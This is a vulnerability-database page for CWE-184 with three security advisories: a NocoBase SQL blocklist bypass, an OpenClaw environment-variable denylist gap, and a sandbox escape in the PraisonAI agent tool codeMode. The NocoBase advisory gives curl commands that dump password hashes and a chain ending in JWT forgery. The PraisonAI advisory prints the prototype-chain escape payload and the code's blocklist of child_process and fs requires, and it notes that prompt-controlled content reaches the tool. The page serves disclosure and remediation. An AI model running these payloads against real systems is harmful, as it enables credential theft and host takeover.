CWE-184
AllowedIncomplete List of Disallowed Inputs
Abstraction: Base · Status: Draft
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
363 vulnerabilities reference this CWE, most recent first.
GHSA-V8VM-CQH8-Q87Q
Vulnerability from github – Published: 2026-07-28 20:53 – Updated: 2026-07-28 20:53Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass
Summary
The checkSQL() function in plugin-collection-sql implements a keyword-based blacklist to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is incomplete: it only checks for a subset of dangerous PostgreSQL system functions and does not restrict access to sensitive system catalog tables such as pg_shadow, pg_roles, or pg_stat_activity.
An authenticated user with the admin role can exploit this to dump PostgreSQL password hashes (pg_shadow), read all NocoBase user credentials (hashed passwords from the users table), and enumerate the full database schema — all data that admin users should never be able to access through the application interface.
Affected Component
File: packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts
export const checkSQL = (sql: string) => {
const dangerKeywords = [
// PostgreSQL — BLOCKED
'pg_read_file',
'pg_read_binary_file',
'pg_stat_file',
'pg_ls_dir',
'pg_logdir_ls',
'pg_terminate_backend',
'pg_cancel_backend',
'current_setting',
'set_config',
'pg_reload_conf',
'pg_sleep',
'generate_series',
// MySQL — BLOCKED
'LOAD_FILE',
'BENCHMARK',
'@@global.',
'@@session.',
// SQLite — BLOCKED
'sqlite3_load_extension',
'load_extension',
];
// NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,
// information_schema, users table direct access, etc.
sql = sql.trim().split(';').shift();
if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
throw new Error('Only supports SELECT statements or WITH clauses');
}
if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
throw new Error('SQL statements contain dangerous keywords');
}
};
The execute action in sql.ts passes user-supplied SQL directly through this insufficient check:
// sql.ts — execute action
execute: async (ctx: Context, next: Next) => {
const { sql } = ctx.action.params.values || {};
try {
checkSQL(sql); // ← insufficient validation
} catch (e) {
ctx.throw(400, ctx.t(e.message));
}
// SQL is executed directly against the database
const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true });
ctx.body = { data, fields, sources };
}
Root Cause
The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories:
- PostgreSQL system catalog tables —
pg_shadow,pg_authid,pg_roles,pg_stat_activityare not restricted - Application-level sensitive tables —
users(containing hashed passwords) can be queried directly information_schema— full schema enumeration is possible- Schema-qualified variants — even some blocked functions could be bypassed via
pg_catalog.prefix (e.g.pg_catalog.pg_read_filemay bypass checks in older versions)
The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.
Steps to Reproduce
Prerequisites: A user account with the admin role (has the pm.data-source-manager.collection-sql ACL snippet).
Step 1: Authenticate and obtain a token:
TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"<password>"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")
Step 2: Dump PostgreSQL password hashes from pg_shadow:
curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}'
Response:
{
"data": {
"data": [
{
"usename": "nocobase",
"passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU="
}
]
}
}
Step 3: Dump NocoBase user credentials:
curl -s -X POST http://<TARGET>/api/sqlCollection:execute \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}'
Response (verified):
{
"data": {
"data": [
{
"id": 1,
"email": "admin@nocobase.com",
"username": "nocobase",
"password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b"
}
]
}
}
Additional Verified Bypass Queries
| Query | Blocked? | Data Exposed |
|---|---|---|
SELECT usename, passwd FROM pg_shadow |
Not blocked | PostgreSQL DB user password hashes |
SELECT id, email, password FROM users |
Not blocked | All NocoBase user credential hashes |
SELECT table_name FROM information_schema.tables |
Not blocked | Full database schema enumeration |
SELECT rolname, rolsuper FROM pg_roles |
Not blocked | All DB roles and superuser flags |
SELECT pid, query FROM pg_stat_activity |
Not blocked | Live SQL queries from all sessions |
SELECT pg_read_file('/etc/passwd') |
Blocked | — |
SELECT current_setting('app.key') |
Blocked | — |
Why Admin-Required Still Matters
This vulnerability is rated High despite requiring admin-level authentication. The reasoning:
1. Security Boundary Violation (Scope Changed → S:C)
The admin role in NocoBase is an application-level role — it manages workflows, collections, and UI. It is not a database administrator. Accessing pg_shadow is a PostgreSQL system-level privilege that admins should never have. The checkSQL() function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.
2. Data That Admin Cannot Access Through Normal UI
Even with admin privileges, NocoBase's UI and API do not expose:
- pg_shadow (PostgreSQL internal password store)
- Raw users.password hashes via standard API responses
- Full information_schema enumeration
VUL-2 grants access to all of the above — data the application explicitly chose not to expose.
3. Enables Lateral Movement
The pg_shadow SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains direct PostgreSQL access with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading all data in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.
4. Enables Full Attack Chain When Combined with Other Vulnerabilities
Member user (lowest privilege)
→ VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)
→ VUL-1: RCE reads APP_KEY from process.env
→ Forge JWT with admin role
→ VUL-2: Dump pg_shadow + users.password
→ Crack hashes → full PostgreSQL access
Impacted API Endpoint
POST /api/sqlCollection:execute
- Authentication: Required (
adminrole) - ACL Snippet registered in
plugin.ts:typescript this.app.acl.registerSnippet({ name: `pm.data-source-manager.collection-sql`, actions: ['sqlCollection:*'], // includes :execute }); - The
adminrole includes this snippet by default.
Recommended Fixes
Fix 1 (Immediate): Extend the blacklist with system catalog tables
const dangerKeywords = [
// ... existing entries ...
// ADD: PostgreSQL system catalog tables with sensitive data
'pg_shadow',
'pg_authid',
'pg_auth_members',
'pg_stat_activity',
'pg_roles',
// Note: information_schema should also be restricted for non-DBA roles
];
Fix 2 (Recommended): Replace blacklist with schema allowlist
Instead of blocking dangerous keywords, only allow queries against user-defined collection tables:
// Allowlist approach: extract table names from AST and verify against known collections
const allowedTables = await db.getCollectionNames(); // tables created by NocoBase users
const referencedTables = extractTableNames(parsedSQL);
if (!referencedTables.every(t => allowedTables.includes(t))) {
throw new Error('Query references tables outside the allowed scope');
}
Fix 3 (Defense-in-depth): Use a read-only, restricted DB user
The application's DB connection should use a PostgreSQL user that:
- Does not have SELECT privilege on pg_shadow or pg_authid
- Only has access to the application's own schema (nocobase schema)
This ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.
Environment
| Field | Value |
|---|---|
| NocoBase version | 2.0.59-full |
| Database | PostgreSQL 16.14 |
| Deployment | Docker (nocobase/nocobase:2.0.59-full) |
| Vulnerable file | plugin-collection-sql/src/server/utils.ts — checkSQL() |
| Vulnerable endpoint | POST /api/sqlCollection:execute |
| Auth required | Admin role (pm.data-source-manager.collection-sql snippet) |
Timeline
| Date | Event |
|---|---|
| 2026-05-29 | Vulnerability discovered via whitebox source code audit of utils.ts |
| 2026-05-29 | Exploit verified on live Docker instance — pg_shadow and users.password dumped |
| 2026-05-29 | Report submitted to maintainers |
Script and video PoC:
https://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-collection-sql"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.62"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-collection-sql"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0-alpha.1"
},
{
"fixed": "2.1.0-alpha.46"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-collection-sql"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0-beta.1"
},
{
"fixed": "2.1.0-beta.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52888"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T20:53:08Z",
"nvd_published_at": "2026-07-15T21:16:54Z",
"severity": "MODERATE"
},
"details": "# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass\n\n## Summary\n\nThe `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`.\n\nAn authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** \u2014 all data that admin users should never be able to access through the application interface.\n\n---\n\n## Affected Component\n\n**File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts`\n\n```typescript\nexport const checkSQL = (sql: string) =\u003e {\n const dangerKeywords = [\n // PostgreSQL \u2014 BLOCKED\n \u0027pg_read_file\u0027,\n \u0027pg_read_binary_file\u0027,\n \u0027pg_stat_file\u0027,\n \u0027pg_ls_dir\u0027,\n \u0027pg_logdir_ls\u0027,\n \u0027pg_terminate_backend\u0027,\n \u0027pg_cancel_backend\u0027,\n \u0027current_setting\u0027,\n \u0027set_config\u0027,\n \u0027pg_reload_conf\u0027,\n \u0027pg_sleep\u0027,\n \u0027generate_series\u0027,\n\n // MySQL \u2014 BLOCKED\n \u0027LOAD_FILE\u0027,\n \u0027BENCHMARK\u0027,\n \u0027@@global.\u0027,\n \u0027@@session.\u0027,\n\n // SQLite \u2014 BLOCKED\n \u0027sqlite3_load_extension\u0027,\n \u0027load_extension\u0027,\n ];\n\n // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity,\n // information_schema, users table direct access, etc.\n\n sql = sql.trim().split(\u0027;\u0027).shift();\n if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n throw new Error(\u0027Only supports SELECT statements or WITH clauses\u0027);\n }\n if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n throw new Error(\u0027SQL statements contain dangerous keywords\u0027);\n }\n};\n```\n\nThe `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check:\n\n```typescript\n// sql.ts \u2014 execute action\nexecute: async (ctx: Context, next: Next) =\u003e {\n const { sql } = ctx.action.params.values || {};\n try {\n checkSQL(sql); // \u2190 insufficient validation\n } catch (e) {\n ctx.throw(400, ctx.t(e.message));\n }\n // SQL is executed directly against the database\n const data = await model.findAll({ attributes: [\u0027*\u0027], limit: 5, raw: true });\n ctx.body = { data, fields, sources };\n}\n```\n\n---\n\n## Root Cause\n\nThe blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories:\n\n1. **PostgreSQL system catalog tables** \u2014 `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted\n2. **Application-level sensitive tables** \u2014 `users` (containing hashed passwords) can be queried directly\n3. **`information_schema`** \u2014 full schema enumeration is possible\n4. **Schema-qualified variants** \u2014 even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions)\n\nThe correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords.\n\n---\n\n## Steps to Reproduce\n\n**Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet).\n\n**Step 1**: Authenticate and obtain a token:\n```bash\nTOKEN=$(curl -s -X POST http://\u003cTARGET\u003e/api/auth:signIn \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"email\":\"admin@example.com\",\"password\":\"\u003cpassword\u003e\"}\u0027 \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027data\u0027][\u0027token\u0027])\")\n```\n\n**Step 2**: Dump PostgreSQL password hashes from `pg_shadow`:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d \u0027{\"sql\":\"SELECT usename, passwd FROM pg_shadow LIMIT 10\"}\u0027\n```\n\n**Response**:\n```json\n{\n \"data\": {\n \"data\": [\n {\n \"usename\": \"nocobase\",\n \"passwd\": \"SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=\"\n }\n ]\n }\n}\n```\n\n**Step 3**: Dump NocoBase user credentials:\n```bash\ncurl -s -X POST http://\u003cTARGET\u003e/api/sqlCollection:execute \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d \u0027{\"sql\":\"SELECT id, email, username, password FROM users LIMIT 100\"}\u0027\n```\n\n**Response** (verified):\n```json\n{\n \"data\": {\n \"data\": [\n {\n \"id\": 1,\n \"email\": \"admin@nocobase.com\",\n \"username\": \"nocobase\",\n \"password\": \"1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b\"\n }\n ]\n }\n}\n```\n\n---\n\n## Additional Verified Bypass Queries\n\n| Query | Blocked? | Data Exposed |\n|-------|----------|--------------|\n| `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | PostgreSQL DB user password hashes |\n| `SELECT id, email, password FROM users` |**Not blocked** | All NocoBase user credential hashes |\n| `SELECT table_name FROM information_schema.tables` |**Not blocked** | Full database schema enumeration |\n| `SELECT rolname, rolsuper FROM pg_roles` |**Not blocked** | All DB roles and superuser flags |\n| `SELECT pid, query FROM pg_stat_activity` |**Not blocked** | Live SQL queries from all sessions |\n| `SELECT pg_read_file(\u0027/etc/passwd\u0027)` |Blocked | \u2014 |\n| `SELECT current_setting(\u0027app.key\u0027)` |Blocked | \u2014 |\n\n---\n\n## Why Admin-Required Still Matters\n\nThis vulnerability is rated **High** despite requiring admin-level authentication. The reasoning:\n\n### 1. Security Boundary Violation (Scope Changed \u2192 S:C)\nThe `admin` role in NocoBase is an **application-level** role \u2014 it manages workflows, collections, and UI. It is **not** a database administrator. Accessing `pg_shadow` is a **PostgreSQL system-level** privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model.\n\n### 2. Data That Admin Cannot Access Through Normal UI\nEven with admin privileges, NocoBase\u0027s UI and API **do not expose**:\n- `pg_shadow` (PostgreSQL internal password store)\n- Raw `users.password` hashes via standard API responses\n- Full `information_schema` enumeration\n\nVUL-2 grants access to all of the above \u2014 data the application explicitly chose not to expose.\n\n### 3. Enables Lateral Movement\nThe `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains **direct PostgreSQL access** with the application\u0027s DB credentials \u2014 bypassing the NocoBase application layer entirely. This enables reading **all data** in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas.\n\n### 4. Enables Full Attack Chain When Combined with Other Vulnerabilities\n```\nMember user (lowest privilege)\n \u2192 VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger)\n \u2192 VUL-1: RCE reads APP_KEY from process.env\n \u2192 Forge JWT with admin role\n \u2192 VUL-2: Dump pg_shadow + users.password\n \u2192 Crack hashes \u2192 full PostgreSQL access\n```\n\n---\n\n## Impacted API Endpoint\n\n```\nPOST /api/sqlCollection:execute\n```\n\n- **Authentication**: Required (`admin` role)\n- **ACL Snippet** registered in `plugin.ts`:\n ```typescript\n this.app.acl.registerSnippet({\n name: `pm.data-source-manager.collection-sql`,\n actions: [\u0027sqlCollection:*\u0027], // includes :execute\n });\n ```\n- The `admin` role includes this snippet by default.\n\n---\n\n## Recommended Fixes\n\n### Fix 1 (Immediate): Extend the blacklist with system catalog tables\n```typescript\nconst dangerKeywords = [\n // ... existing entries ...\n\n // ADD: PostgreSQL system catalog tables with sensitive data\n \u0027pg_shadow\u0027,\n \u0027pg_authid\u0027,\n \u0027pg_auth_members\u0027,\n \u0027pg_stat_activity\u0027,\n \u0027pg_roles\u0027,\n // Note: information_schema should also be restricted for non-DBA roles\n];\n```\n\n### Fix 2 (Recommended): Replace blacklist with schema allowlist\nInstead of blocking dangerous keywords, only allow queries against **user-defined collection tables**:\n\n```typescript\n// Allowlist approach: extract table names from AST and verify against known collections\nconst allowedTables = await db.getCollectionNames(); // tables created by NocoBase users\nconst referencedTables = extractTableNames(parsedSQL);\nif (!referencedTables.every(t =\u003e allowedTables.includes(t))) {\n throw new Error(\u0027Query references tables outside the allowed scope\u0027);\n}\n```\n\n### Fix 3 (Defense-in-depth): Use a read-only, restricted DB user\nThe application\u0027s DB connection should use a PostgreSQL user that:\n- Does **not** have `SELECT` privilege on `pg_shadow` or `pg_authid`\n- Only has access to the application\u0027s own schema (`nocobase` schema)\n\nThis ensures that even if the blacklist is bypassed, the DB user cannot access system catalogs.\n\n---\n\n## Environment\n\n| Field | Value |\n|-------|-------|\n| NocoBase version | 2.0.59-full |\n| Database | PostgreSQL 16.14 |\n| Deployment | Docker (`nocobase/nocobase:2.0.59-full`) |\n| Vulnerable file | `plugin-collection-sql/src/server/utils.ts` \u2014 `checkSQL()` |\n| Vulnerable endpoint | `POST /api/sqlCollection:execute` |\n| Auth required | Admin role (`pm.data-source-manager.collection-sql` snippet) |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-05-29 | Vulnerability discovered via whitebox source code audit of `utils.ts` |\n| 2026-05-29 | Exploit verified on live Docker instance \u2014 `pg_shadow` and `users.password` dumped |\n| 2026-05-29 | Report submitted to maintainers |\n\n---\n## Script and video PoC:\n[poc_vul2_sqli.py](https://github.com/user-attachments/files/28380402/poc_vul2_sqli.py)\n\nhttps://github.com/user-attachments/assets/6e4e7a3d-e005-4ff8-ab9a-e44ae1365732",
"id": "GHSA-v8vm-cqh8-q87q",
"modified": "2026-07-28T20:53:09Z",
"published": "2026-07-28T20:53:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-v8vm-cqh8-q87q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52888"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9683"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/4aecb60d151a9002004dcf984f63d62f17a6cb45"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/87c548969ce9258dd7f0d9571c9453ae10bc3fc4"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.62"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.1.0-alpha.46"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass"
}
GHSA-VFP4-8X56-J7C5
Vulnerability from github – Published: 2026-04-17 21:54 – Updated: 2026-05-12 13:35Summary
Exec environment denylist missed high-risk interpreter startup variables.
Affected Packages / Versions
- Package:
openclaw - Ecosystem: npm
- Affected versions:
< 2026.4.10 - Patched versions:
>= 2026.4.10
Impact
The exec environment policy missed interpreter startup variables such as VIMINIT, EXINIT, LUA_INIT, and HOSTALIASES, allowing operator-supplied environment overrides to influence downstream execution or network behavior.
Technical Details
The fix expands the host environment security policy denylist to cover these and related high-risk environment variables, with regression coverage.
Fix
The issue was fixed in #63277. The first stable tag containing the fix is v2026.4.10, and openclaw@2026.4.14 includes the fix.
Fix Commit(s)
2d126fc62343a7b6895351f96e4e1474bc358140- PR: #63277
Release Process Note
Users should upgrade to openclaw 2026.4.10 or newer. The latest npm release, 2026.4.14, already includes the fix.
Credits
Thanks to @feiyang666 of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43584"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T21:54:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nExec environment denylist missed high-risk interpreter startup variables.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nThe exec environment policy missed interpreter startup variables such as `VIMINIT`, `EXINIT`, `LUA_INIT`, and `HOSTALIASES`, allowing operator-supplied environment overrides to influence downstream execution or network behavior.\n\n## Technical Details\n\nThe fix expands the host environment security policy denylist to cover these and related high-risk environment variables, with regression coverage.\n\n## Fix\n\nThe issue was fixed in #63277. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `2d126fc62343a7b6895351f96e4e1474bc358140`\n- PR: #63277\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @feiyang666 of Tencent zhuque Lab (https://github.com/Tencent/AI-Infra-Guard) for reporting this issue.",
"id": "GHSA-vfp4-8x56-j7c5",
"modified": "2026-05-12T13:35:13Z",
"published": "2026-04-17T21:54:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vfp4-8x56-j7c5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43584"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/2d126fc62343a7b6895351f96e4e1474bc358140"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-insufficient-environment-variable-denylist-in-exec-policy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Exec environment denylist missed high-risk interpreter startup variables"
}
GHSA-VMMJ-PFW7-FJWP
Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-07-20 21:27Summary
The published npm package praisonai exports a TypeScript built-in tool named codeMode. The package describes this tool as executing code in a sandboxed environment, marks its capability as sandbox: true, and registers it through the public tools facade.
The implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets process and require to undefined inside a plain JavaScript object, and then executes attacker-controlled code with the host process new Function constructor:
const fn = new Function('sandbox', `with (sandbox) { ${code} }`);
const result = fn(sandbox);
Because this runs in the host V8 context, code inside codeMode can use the JavaScript prototype chain to recover the real Function constructor:
({}).constructor.constructor('return process')()
From a normal CommonJS application script, the recovered process object exposes process.mainModule.require. That bypasses the explicit require('fs') and require('child_process') controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.
Technical Details
Current-head source says codeMode is a built-in package tool and explicitly advertises a sandbox boundary:
src/praisonai-ts/src/tools/builtins/code-mode.ts
13: description: 'Execute code that can import and use other tools in a sandboxed environment',
24: capabilities: {
25: sandbox: true,
26: code: true,
28: packageName: 'praisonai',
85: description: 'Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.',
The same file implements security as a blocklist of exact source-code patterns:
src/praisonai-ts/src/tools/builtins/code-mode.ts
108: const blockedPatterns = [
109: /require\s*\(\s*['"]child_process['"]\s*\)/,
110: /require\s*\(\s*['"]fs['"]\s*\)/,
111: /import\s+.*from\s+['"]child_process['"]/,
112: /process\.exit/,
113: /eval\s*\(/,
It then tries to hide dangerous globals by shadowing names in a normal object:
src/praisonai-ts/src/tools/builtins/code-mode.ts
168: process: undefined,
169: require: undefined,
Finally, it executes the untrusted code in the host process using new Function and with (sandbox):
src/praisonai-ts/src/tools/builtins/code-mode.ts
187: const fn = new Function(
188: 'sandbox',
189: `with (sandbox) { ${code} }`
190: );
191: const result = fn(sandbox);
This is not a sandbox. new Function does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.
The tool is reachable through the public npm SDK:
src/praisonai-ts/src/index.ts
117: airweaveSearch, codeMode,
src/praisonai-ts/src/tools/tools.ts
104: // Code Mode
105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);
167: // Code Mode
168: codeMode: (config?: CodeModeConfig) => codeMode(config),
Why This Is Not Intended Behavior
This is not merely "the user can execute code because codeMode executes code." The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.
The implementation itself proves an intended security boundary exists:
CODE_MODE_METADATA.capabilities.sandboxistrue;- the tool description says it executes in a sandboxed environment;
- direct access to
fsandchild_processis explicitly blocked; processandrequireare explicitly shadowed asundefined;allowNetworkdefaults tofalse; and- the config includes security-relevant controls such as
blockedTools,allowedPaths,timeoutMs, andmaxMemoryMb.
The PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.
PraisonAI's official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with npm install praisonai. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.
PoV
The PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose process.mainModule.require; node -e or stdin do not always reproduce that deployment shape.
Run from a local reproduction checkout:
node poc/pov_poc.js 1.7.1
Observed result:
{
"package": "praisonai",
"version": "1.7.1",
"codeModeExported": true,
"directRequireFsControl": {
"stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]fs['\"]\\s*\\)",
"exitCode": 1,
"success": false,
"error": "Code contains blocked patterns for security"
},
"directChildProcessControl": {
"stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)",
"exitCode": 1,
"success": false,
"error": "Code contains blocked patterns for security"
},
"escapedProcessEnv": {
"output": "poc",
"exitCode": 0,
"success": true
},
"escapedFilesystem": {
"output": "fs-ok",
"exitCode": 0,
"success": true
},
"escapedCommand": {
"output": "poc",
"exitCode": 0,
"success": true
}
}
Interpretation:
- direct
require('fs')is blocked; - direct
require('child_process')is blocked; - the Function-constructor payload recovers host
process; - the escaped process reads a host environment variable;
- the escaped process imports
fs; and - the escaped process imports
child_processand runs a harmlessprintf.
The PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
An attacker who can supply code to codeMode can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.
Realistic entry points include:
- an application that exposes
codeModeas an agent tool to end users; - an LLM/tool-call flow where prompt-controlled content reaches the
codeparameter; - MCP or tool-registry integrations that make the built-in
codeModetool callable; or - any multi-tenant service that relies on
codeModeto safely run user or model-generated JavaScript.
Impact after escape includes:
- reading process environment variables, including API keys and service tokens;
- reading files available to the Node process;
- spawning subprocesses with
child_process; - writing or modifying files through host filesystem APIs; and
- terminating or resource-exhausting the host process.
Severity
Suggested severity: Critical.
Rationale:
AV:codeModeis a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.AC: a single code payload is enough.PR: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.UI: no additional user interaction is required once the tool is invoked.S: execution crosses from the advertised sandbox security scope into the host Node.js process.C: host files and environment variables are readable.I: host subprocess and filesystem APIs are reachable.A: escaped code can terminate processes or consume host resources.
Suggested Fix
Do not use host-process new Function plus source-code blocklists as a sandbox.
Recommended fix direction:
- Disable or clearly mark npm
codeModeas unsafe until a real isolation boundary exists. - Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.
- Enforce
allowNetwork,allowedPaths,timeoutMs,maxMemoryMb,allowedTools, andblockedToolsat that boundary instead of by scanning source strings. - Do not rely on
node:vmalone for untrusted code. The Node.js documentation explicitly says thevmmodule is not a security mechanism. - Add regression tests for:
- direct
require('fs')andrequire('child_process')blocked controls; ({}).constructor.constructor('return process')()blocked;process.mainModule.require('fs')unavailable;process.mainModule.require('child_process')unavailable;- host environment variables unavailable unless explicitly passed; and
- tool-call IPC still works for allowed tools.
If maintainers need an emergency mitigation before a real sandbox exists, reject codeMode execution unless the caller opts into "unsafe host JS execution" with clear documentation that it can access the full Node process.
